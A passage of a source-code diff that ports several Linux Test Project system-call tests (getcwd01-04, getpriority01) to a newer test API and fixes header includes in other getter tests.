 }
 
-void setup_test4(void)
+static void setup(void)
 {
-	chdir("/");
+	SAFE_CHDIR("/tmp");
 }
 
-void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* create a test directory and cd into it */
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	/* remove the test directory */
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "getcwd01",
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getcwd
+};
diff --git a/testcases/kernel/syscalls/getcwd/getcwd02.c b/testcases/kernel/syscalls/getcwd/getcwd02.c
index bfc9c3e..09fa190 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd02.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd02.c
@@ -1,290 +1,87 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	getcwd02
- *
  * DESCRIPTION
- *	Testcase to check the basic functionality of the getcwd(2) system call.
- *
- * ALGORITHM
- *	Get the path name of the current working directory from the current
- *	shell through a pipe, and compare it with what is returned by
- *	getcwd(2) system call.
- *
- *  Blocks 1-4 are with char[], #4 is special case where address is -1
- *
- *	Block 1: Call getcwd(2) with valid cwd[]:
- *              Should work fine
- *	Block 2: Call getcwd(2) with valid cwd[], size = 0:
- *              Should return NULL, errno = EINVAL
- *	Block 3: Call getcwd(2) with valid cwd[], size <= strlen(path):
- *              i.e. size = 1, Should return NULL, errno = ERANGE
- *      Block 4: Call getcwd(2) with cwd address = -1, size > strlen(path):
- *              Should return NULL, errno = EFAULT
- *
- *  Blocks 5-7 are with char*
- *
- *	Block 5: Call getcwd(2) with *buffer = NULL, size = 0:
- * 		Should allocate buffer, and work fine
- *	Block 6: Call getcwd(2) with *buffer = NULL, size <= strlen(path):
- * 		i.e. size = 1, Should return NULL, errno = ERANGE
- *      Block 7: Call getcwd(2) with *buffer = NULL, size > strlen(path):
- *              Should work fine and allocate buffer
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *      02/2002 Added more testcases, cleaned up by wjh
- *
- * RESTRICTIONS
- *	NONE
+ * Testcase to check the basic functionality of the getcwd(2) system call.
+ * 1) getcwd(2) works fine if buf and size are valid.
+ * 2) getcwd(2) works fine if buf points to NULL and size is set to 0.
+ * 3) getcwd(2) works fine if buf points to NULL and size is greater than strlen(path).
  */
-#include <stdio.h>
-#include <string.h>
+
 #include <errno.h>
-#include "test.h"
-#define FAILED 1
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include "tst_test.h"
 
-#ifdef ANDROID
-char *pwd = "/system/bin/pwd";
-#else
-char *pwd = "/bin/pwd";
-#endif
-int flag;
-char *TCID = "getcwd02";
-int TST_TOTAL = 7;
+#define TMPDIR "/tmp"
 
-void cleanup(void);
-void setup(void);
-void do_block1(void);
-void do_block2(void);
-void do_block3(void);
-void do_block4(void);
-void do_block5(void);
-void do_block6(void);
-void do_block7(void);
+static char exp_buf[PATH_MAX];
+static char buffer[PATH_MAX];
 
-char pwd_buf[BUFSIZ];		//holds results of pwd pipe
-char cwd[BUFSIZ];		//used as our valid buffer
-char *buffer = NULL;		//catches the return value from getcwd when passing NULL
-char *cwd_ptr = NULL;		//catches the return value from getcwd() when passing cwd[]
+static struct t_case {
+	char *buf;
+	size_t size;
+} tcases[] = {
+	{buffer, sizeof(buffer)},
+	{NULL, 0},
+	{NULL, PATH_MAX}
+};
 
-int main(int ac, char **av)
+static void verify_getcwd(unsigned int n)
 {
-	FILE *fin;
-	char *cp;
-	int lc;
+	struct t_case *tc = &tcases[n];
+	char *res = NULL;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-	setup();
-
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if ((fin = popen(pwd, "r")) == NULL) {
-			tst_resm(TINFO, "%s: can't run %s", TCID, pwd);
-			tst_brkm(TBROK, cleanup, "%s FAILED", TCID);
-		}
-		while (fgets(pwd_buf, sizeof(pwd_buf), fin) != NULL) {
-			if ((cp = strchr(pwd_buf, '\n')) == NULL) {
-				tst_brkm(TBROK, cleanup, "pwd output too long");
-			}
-			*cp = 0;
-		}
-		pclose(fin);
-
-		do_block1();
-		do_block2();
-		do_block3();
-		do_block4();
-		do_block5();
-		do_block6();
-		do_block7();
+	errno = 0;
+	res = getcwd(tc->buf, tc->size);
+	TEST_ERRNO = errno;
+	if (!res) {
+		tst_res(TFAIL | TTERRNO, "getcwd() failed");
+		goto end;
 	}
-	cleanup();
-	tst_exit();
+
+	if (strcmp(exp_buf, res)) {
+		tst_res(TFAIL, "getcwd() returned unexpected directory: %s, "
+			"expected: %s", res, exp_buf);
+		goto end;
+	}
+
+	tst_res(TPASS, "getcwd() returned expected directory: %s", res);
+
+end:
+	if (!tc->buf)
+		free(res);
 }
 
-void do_block1(void)		//valid cwd[]: -> Should work fine
+static void setup(void)
 {
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 1");
+	SAFE_CHDIR(TMPDIR);
 
-	if ((cwd_ptr = getcwd(cwd, sizeof(cwd))) == NULL) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly");
-		flag = FAILED;
-	}
-	if ((flag != FAILED) && (strcmp(pwd_buf, cwd) != 0)) {
-		tst_resm(TFAIL, "getcwd() returned unexpected working "
-			 "directory: expected: %s, got: %s\n", pwd_buf, cwd);
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 1");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 1 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 1 PASSED");
-	}
+	if (!realpath(TMPDIR, exp_buf))
+		tst_brk(TBROK | TERRNO, "realpath() failed");
+
+	tst_res(TINFO, "Expected path '%s'", exp_buf);
 }
 
-void do_block2(void)		//valid cwd[], size = 0: -> Should return NULL, errno = EINVAL
-{
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 2");
-
-	if (((cwd_ptr = getcwd(cwd, 0)) == NULL)
-	    && (errno != EINVAL)) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly (wanted EINVAL)");
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 2");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 2 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 2 PASSED");
-	}
-}
-
-void do_block3(void)		//valid cwd[], size = 1 -> Should return NULL, errno = ERANGE
-{
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 3");
-
-	if (((cwd_ptr = getcwd(cwd, 1)) != NULL)
-	    || (errno != ERANGE)) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly (wanted ERANGE)");
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 3");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 3 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 3 PASSED");
-	}
-}
-
-void do_block4(void)		//invalid cwd[] = -1, size = BUFSIZ: -> return NULL, errno = FAULT
-{
-/* Skip since uClinux does not implement memory protection */
-#ifndef UCLINUX
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 4");
-
-	if (((cwd_ptr = getcwd((char *)-1, sizeof(cwd))) != NULL)
-	    || (errno != EFAULT)) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly (wanted EFAULT)");
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 4");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 4 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 4 PASSED");
-	}
-#else
-	tst_resm(TINFO, "Skipping Block 4 on uClinux");
-#endif
-}
-
-void do_block5(void)		//buffer = NULL, and size = 0, should succeed
-{
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 5");
-
-	if ((buffer = getcwd(NULL, 0)) == NULL) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly");
-		flag = FAILED;
-	}
-	if ((flag != FAILED) && (strcmp(pwd_buf, buffer) != 0)) {
-		tst_resm(TFAIL, "getcwd() returned unexpected working "
-			 "directory: expected: %s, got: %s\n", pwd_buf, buffer);
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 5");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 5 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 5 PASSED");
-	}
-	free(buffer);
-	buffer = NULL;
-}
-
-void do_block6(void)		//buffer = NULL, size = 1: -> return NULL, errno = ERANGE
-{
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 6");
-
-	if (((buffer = getcwd(NULL, 1)) != NULL)
-	    || (errno != ERANGE)) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly (wanted ERANGE)");
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 6");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 6 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 6 PASSED");
-	}
-}
-
-void do_block7(void)		//buffer = NULL, size = BUFSIZ: -> work fine, allocate buffer
-{
-	int flag = 0;
-	tst_resm(TINFO, "Enter Block 7");
-
-	if ((buffer = getcwd(NULL, sizeof(cwd))) == NULL) {
-		tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly");
-		flag = FAILED;
-	}
-	if ((flag != FAILED) && (strcmp(pwd_buf, buffer) != 0)) {
-		tst_resm(TFAIL, "getcwd() returned unexpected working "
-			 "directory: expected: %s, got: %s\n", pwd_buf, buffer);
-		flag = FAILED;
-	}
-	tst_resm(TINFO, "Exit Block 7");
-	if (flag == FAILED) {
-		tst_resm(TFAIL, "Block 7 FAILED");
-	} else {
-		tst_resm(TPASS, "Block 7 PASSED");
-	}
-	free(buffer);
-	buffer = NULL;
-}
-
-void setup(void)
-{
-	/* FORK is set here because of the popen() call above */
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* create a test directory and cd into it */
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	/* remove the test directory */
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "getcwd02",
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getcwd
+};
diff --git a/testcases/kernel/syscalls/getcwd/getcwd03.c b/testcases/kernel/syscalls/getcwd/getcwd03.c
index d606308..4f8f872 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd03.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd03.c
@@ -1,241 +1,105 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	getcwd03
- *
  * DESCRIPTION
- *	Testcase to check the basic functionality of the getcwd(2) system call
- *	for symbolically linked directories.
+ * Testcase to check the basic functionality of the getcwd(2)
+ * system call on a symbolic link.
  *
  * ALGORITHM
- *	This testcase checks for the functionality of the getcwd(2) system call
- *	on a symbolic link. First create a directory (dir1), and create a
- *	symbolic link (dir2) to it at the same directory level. Then, chdir()
- *	to dir1, and get the working directory (cwd1), and its pathname (pwd1).
- *	Then, chdir() to dir2, and get the working directory (cwd2), its
- *	pathname (pwd2), and its readlink info (link2).
- *	Testcase succeeds if:
- *	i.	pwd1 == pwd2
- *	ii.	cwd1 == cwd2
- *	iii.	link2 == basename(cwd1)
- *
- * USAGE:  <for command-line>
- *  getcwd03 [-c n] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
+ * 1) create a directory, and create a symbolic link to it at the
+ *    same directory level.
+ * 2) get the working directory of a directory, and its pathname.
+ * 3) get the working directory of a symbolic link, and its pathname,
+ *    and its readlink info.
+ * 4) compare the working directories and link information.
  */
+
 #define _GNU_SOURCE 1
+#include <errno.h>
 #include <stdio.h>
 #include <string.h>
-#include <errno.h>
-#include "test.h"
 #include <stdlib.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <stdlib.h>
-#define FAILED 1
+#include "tst_test.h"
 
-int flag;
-char *TCID = "getcwd03";
-int TST_TOTAL = 1;
+static char dir[BUFSIZ], dir_link[BUFSIZ];
 
-void cleanup(void);
-void setup(void);
-char *getpwd(void);
-
-int main(int ac, char **av)
+static void verify_getcwd(void)
 {
-	char dir1[BUFSIZ], dir2[BUFSIZ];
-	char cwd1[BUFSIZ], cwd2[BUFSIZ];
-	char *pwd1, *pwd2;
-	char link2[BUFSIZ];
-	int n;
-	int lc;
+	char link[BUFSIZ];
+	char *res1 = NULL;
+	char *res2 = NULL;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	SAFE_CHDIR(dir);
 
-	setup();
-
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		flag = 0;
-
-		/*
-		 * Create dir1, then chdir to dir1, and get the pwd,
-		 * and cwd informations
-		 */
-		sprintf(dir1, "getcwd1.%d", getpid());
-		if (mkdir(dir1, 00755) < 0) {
-			tst_brkm(TBROK, cleanup, "mkdir(2) failed");
-		}
-		if (chdir(dir1) != 0) {
-			tst_brkm(TBROK, cleanup, "chdir(2) failed");
-		}
-
-		pwd1 = getpwd();
-		if (getcwd(cwd1, sizeof cwd1) == NULL) {
-			tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly");
-			flag = FAILED;
-		}
-		if ((flag != FAILED) && (strcmp(pwd1, cwd1) != 0)) {
-			tst_brkm(TFAIL, cleanup, "getcwd() returned unexpected "
-				 "working directory: expected: %s, got: %s\n",
-				 pwd1, cwd1);
-		}
-
-		tst_resm(TINFO, "getcwd(2) succeeded in returning correct path "
-			 "for dir1");
-
-		/*
-		 * Now create dir2, then chdir to dir2, and get the pwd,
-		 * cwd, and link informations
-		 */
-		chdir("..");
-		flag = 0;
-
-		sprintf(dir2, "getcwd2.%d", getpid());
-		if (symlink(dir1, dir2) < 0) {
-			tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d",
-				 errno);
-		}
-
-		if (chdir(dir2) != 0) {
-			tst_brkm(TBROK, cleanup, "chdir(2) failed: errno: %d",
-				 errno);
-		}
-
-		pwd2 = getpwd();
-		if (getcwd(cwd2, sizeof cwd2) == NULL) {
-			tst_resm(TFAIL|TERRNO, "getcwd() failed unexpectedly");
-			flag = FAILED;
-		}
-
-		chdir("..");
-		if ((flag != FAILED) &&
-		    ((n = readlink(dir2, link2, sizeof(link2))) < 0)) {
-			tst_brkm(TBROK, cleanup, "readlink(2) failed: errno:%d",
-				 errno);
-		}
-
-		/*
-		 * Finally compare the pwd, cwd, link informations:
-		 * The test should pass iff all the following are true:
-		 * a.   pwd1 == pwd2
-		 * b.   cwd1 == cwd2
-		 * c.   link2 == basename(cwd1)
-		 */
-		if (flag != FAILED) {
-			if (strcmp(pwd1, pwd2) != 0) {
-				tst_resm(TFAIL, "pwd1: %s, pwd2: %s",
-					 pwd1, pwd2);
-				flag = FAILED;
-			}
-			if (strcmp(cwd1, cwd2) != 0) {
-				tst_resm(TFAIL, "cwd1: %s, cwd2: %s",
-					 cwd1, cwd2);
-				flag = FAILED;
-			}
-			if (memcmp(link2, (char *)basename(cwd1), n) != 0) {
-				tst_resm(TFAIL, "link2: %s, cwd1: %s",
-					 link2, cwd1);
-				flag = FAILED;
-			}
-			if (flag != FAILED) {
-				tst_resm(TINFO, "getcwd(2) succeeded in "
-					 "returning correct path for symbolic "
-					 "link dir2 -> dir1");
-			}
-		}
-
-		if (flag == FAILED) {
-			tst_resm(TFAIL, "Test FAILED");
-		} else {
-			tst_resm(TPASS, "Test PASSED");
-		}
-
-		/* clean up things in case we are looping */
-		if (unlink(dir2) == -1) {
-			tst_brkm(TBROK, cleanup, "couldnt remove dir2");
-		}
-		if (rmdir(dir1) == -1) {
-			tst_brkm(TBROK, cleanup, "couldnt remove dir1");
-		}
+	res1 = getcwd(NULL, 0);
+	if (!res1) {
+		tst_res(TFAIL | TERRNO, "getcwd() failed to "
+			"get working directory of a directory");
+		goto end;
 	}
-	cleanup();
 
-	tst_exit();
-}
+	SAFE_CHDIR("..");
+	SAFE_CHDIR(dir_link);
 
-void setup(void)
-{
-	/* FORK is set here because of the popen() call below */
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* create a test directory and cd into it */
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	/* remove the test directory */
-	tst_rmdir();
-}
-
-char *getpwd(void)
-{
-	FILE *fin;
-#ifdef ANDROID
-	char *pwd = "/system/bin/pwd";
-#else
-	char *pwd = "/bin/pwd";
-#endif
-	char *cp;
-	char *buf;
-
-	buf = malloc(BUFSIZ);
-	if ((fin = popen(pwd, "r")) == NULL) {
-		tst_resm(TINFO, "%s: can't run %s", TCID, pwd);
-		tst_brkm(TBROK, cleanup, "%s FAILED", TCID);
+	res2 = getcwd(NULL, 0);
+	if (!res2) {
+		tst_res(TFAIL | TERRNO, "getcwd() failed to get "
+			"working directory of a symbolic link");
+		goto end;
 	}
-	while (fgets(buf, BUFSIZ, fin) != NULL) {
-		if ((cp = strchr(buf, '\n')) == NULL) {
-			tst_brkm(TBROK, cleanup, "pwd output too long");
-		}
-		*cp = 0;
+
+	if (strcmp(res1, res2)) {
+		tst_res(TFAIL,
+			"getcwd() got mismatched working directories (%s, %s)",
+			res1, res2);
+		goto end;
 	}
-	pclose(fin);
-	return buf;
+
+	SAFE_CHDIR("..");
+	SAFE_READLINK(dir_link, link, sizeof(link));
+
+	if (strcmp(link, SAFE_BASENAME(res1))) {
+		tst_res(TFAIL,
+			"link information didn't match the working directory");
+		goto end;
+	}
+
+	tst_res(TPASS, "getcwd() succeeded on a symbolic link");
+
+end:
+	free(res1);
+	free(res2);
 }
+
+static void setup(void)
+{
+	sprintf(dir, "getcwd1.%d", getpid());
+	sprintf(dir_link, "getcwd2.%d", getpid());
+	SAFE_MKDIR(dir, 0755);
+	SAFE_SYMLINK(dir, dir_link);
+}
+
+static struct tst_test test = {
+	.tid = "getcwd03",
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = verify_getcwd
+};
diff --git a/testcases/kernel/syscalls/getcwd/getcwd04.c b/testcases/kernel/syscalls/getcwd/getcwd04.c
index 1a5461c..7e2ca23 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd04.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd04.c
@@ -1,16 +1,16 @@
 /*
- *   Copyright (c) 2014 Fujitsu Ltd.
- *   Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
+ * Copyright (c) 2014 Fujitsu Ltd.
+ * Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
 
 /*
@@ -30,7 +30,6 @@
  *
  * This test is to check whether this bug exists in the running kernel,
  * or whether this bug has been fixed.
- *
  */
 
 #include <stdio.h>
@@ -38,77 +37,54 @@
 #include <fcntl.h>
 #include <sys/types.h>
 #include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define TIMEOUT	5
 
-static void setup(void);
-static void cleanup(void);
 static void do_child(void);
 static void sigproc(int sig);
 static volatile sig_atomic_t end;
 static char init_cwd[PATH_MAX];
 
-char *TCID = "getcwd04";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_getcwd(void)
 {
 	int status;
 	char cur_cwd[PATH_MAX];
 	pid_t child;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	child = tst_fork();
-	if (child < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fork failed");
-
+	child = SAFE_FORK();
 	if (child == 0)
 		do_child();
 
 	 while (1) {
-		SAFE_GETCWD(cleanup, cur_cwd, PATH_MAX);
+		SAFE_GETCWD(cur_cwd, PATH_MAX);
 		if (strncmp(init_cwd, cur_cwd, PATH_MAX)) {
-			tst_resm(TFAIL, "initial current work directory is "
+			tst_res(TFAIL, "initial current work directory is "
 				 "%s, now is %s. Bug is reproduced!",
 				 init_cwd, cur_cwd);
 			break;
 		}
 
 		if (end) {
-			tst_resm(TPASS, "Bug is not reproduced!");
+			tst_res(TPASS, "Bug is not reproduced!");
 			break;
 		}
 	}
 
-	SAFE_KILL(cleanup, child, SIGKILL);
-	SAFE_WAITPID(cleanup, child, &status, 0);
-
-	cleanup();
-	tst_exit();
+	SAFE_KILL(child, SIGKILL);
+	SAFE_WAITPID(child, &status, 0);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
 	if (tst_ncpus() == 1)
-		tst_brkm(TCONF, NULL, "This test needs two cpus at least");
+		tst_brk(TCONF, "This test needs two cpus at least");
 
-	tst_tmpdir();
-
-	if (signal(SIGALRM, sigproc) == SIG_ERR)
-		tst_brkm(TBROK | TERRNO, cleanup, "signal(SIGALRM) failed");
+	SAFE_SIGNAL(SIGALRM, sigproc);
 
 	alarm(TIMEOUT);
 
-	SAFE_GETCWD(cleanup, init_cwd, PATH_MAX);
+	SAFE_GETCWD(init_cwd, PATH_MAX);
 }
 
 static void sigproc(int sig)
@@ -121,16 +97,19 @@
 	unsigned int i = 0;
 	char c_name[PATH_MAX] = "testfile", n_name[PATH_MAX];
 
-	SAFE_TOUCH(NULL, c_name, 0644, NULL);
+	SAFE_TOUCH(c_name, 0644, NULL);
 
 	while (1) {
 		snprintf(n_name, PATH_MAX, "testfile%u", i++);
-		SAFE_RENAME(NULL, c_name, n_name);
+		SAFE_RENAME(c_name, n_name);
 		strncpy(c_name, n_name, PATH_MAX);
 	}
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "getcwd04",
+	.setup = setup,
+	.test_all = verify_getcwd,
+	.needs_tmpdir = 1,
+	.forks_child = 1
+};
diff --git a/testcases/kernel/syscalls/getgid/getgid01.c b/testcases/kernel/syscalls/getgid/getgid01.c
index 385c4d5..bf9ed32 100644
--- a/testcases/kernel/syscalls/getgid/getgid01.c
+++ b/testcases/kernel/syscalls/getgid/getgid01.c
@@ -35,7 +35,7 @@
  *    CO-PILOT		: Dave Fenner
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <signal.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/getpgid/getpgid01.c b/testcases/kernel/syscalls/getpgid/getpgid01.c
index 1f5b0f9..9af523d 100644
--- a/testcases/kernel/syscalls/getpgid/getpgid01.c
+++ b/testcases/kernel/syscalls/getpgid/getpgid01.c
@@ -46,7 +46,7 @@
 #include <errno.h>
 #include <unistd.h>
 #include <stdarg.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/types.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/getpgid/getpgid02.c b/testcases/kernel/syscalls/getpgid/getpgid02.c
index 65ce049..92482e3 100644
--- a/testcases/kernel/syscalls/getpgid/getpgid02.c
+++ b/testcases/kernel/syscalls/getpgid/getpgid02.c
@@ -48,7 +48,7 @@
 #include <errno.h>
 #include <unistd.h>
 #include <stdarg.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/types.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/getpgrp/getpgrp01.c b/testcases/kernel/syscalls/getpgrp/getpgrp01.c
index 2adf6b6..61feba8 100644
--- a/testcases/kernel/syscalls/getpgrp/getpgrp01.c
+++ b/testcases/kernel/syscalls/getpgrp/getpgrp01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <signal.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/getppid/getppid01.c b/testcases/kernel/syscalls/getppid/getppid01.c
index a86f825..8a48755 100644
--- a/testcases/kernel/syscalls/getppid/getppid01.c
+++ b/testcases/kernel/syscalls/getppid/getppid01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/getpriority/getpriority01.c b/testcases/kernel/syscalls/getpriority/getpriority01.c
index e9ff05b..6edf39d 100644
--- a/testcases/kernel/syscalls/getpriority/getpriority01.c
+++ b/testcases/kernel/syscalls/getpriority/getpriority01.c
@@ -1,147 +1,69 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ *  11/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * Test Name: getpriority01
- *
- * Test Description:
- *  Verify that getpriority() succeeds get the scheduling priority of
- *  the current process, process group or user.
- *
- * Expected Result:
- *  getpriority() should return the highest priority of the test process.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
